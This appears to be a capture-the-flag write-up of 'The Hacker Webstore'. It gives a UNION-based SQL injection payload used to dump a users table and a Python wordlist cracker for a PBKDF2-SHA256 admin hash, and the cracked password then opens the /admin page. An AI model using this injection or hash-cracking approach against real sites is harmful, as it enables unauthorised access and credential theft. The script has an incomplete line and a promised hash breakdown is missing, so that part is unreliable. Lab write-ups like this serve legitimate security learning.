The Hacker Webstore

nahamslug.publie25/26/2024, 11:37:00 AM

Challenge description

When visiting, I discover a webshop typically aimed at the stereotype of a hacker. There are 2 pages:

  • / for the products listing
  • /create to create products
  • /admin to connect to the password protected area of the website.

Since we could easily create new products, I tried adding ') to one of them, which retunred a very useful error to help me understand what was going on.

Product page with sql error

The following injection, after the content of the third field, is what allowed me to see the contents of the database:

lord') UNION SELECT * FROM users/*
  • With UNION we add to the existing expression.
  • SELECT * FROM users allows me to read the content of the table users.
  • /* comments the rest of the line, so it would execute my injection without errors.

Uncrackable hashes

From there, it was just a matter of cracking hashes. But it turns out it wasn't so straight forward: after some research, I discovered hashcat and john the ripper, 2 of the most common tools used for cracking hashes, had multiple modes for pbkdf2 sha256, but none seemed to work with our current specific format. After even more research, I had managed to identify different parts of the hash, thanks to Reddit and Stack-Overflow threads:


After trying desperately with hascat modes 10900, 10000, 1460, my hashes were not cracking.

Remember, we have 2000 potential passwords in a list given in the challenge description, so even if we have 600k iterations, it shouldn’t take too long.

I ended up making my own decryption tool:

import hashlib

def crack_pbkdf2_sha256_hash(password_list_file, target_hash, salt, iterations):
    with open(password_list_file, 'r') as file:
        passwords =

    for password in passwords:
        # make PBKDF2-HMAC-SHA256
        dk = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), iterations)
        print(f"Trying password: {password}")

        # match check
        if dk.hex() == target_hash:
            print(f"Password found: {password}")
            return password

    print("Password not found in the provided list.")
    return None

# hash details for website_admin_account, from database
target_hash = "b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57"
salt = "MSok34zBufo9d1tc"
iterations = 600000
password_list_file = "password_list.txt"

crack_pbkdf2_sha256_hash(password_list_file, target_hash, salt, iterations)

I made sure to print every tested password in order to be able to visually follow progress of the script, as shown below:

Password discovered!

With this, I managed to authenticate at /admin and see the flag:

Flag discovered!


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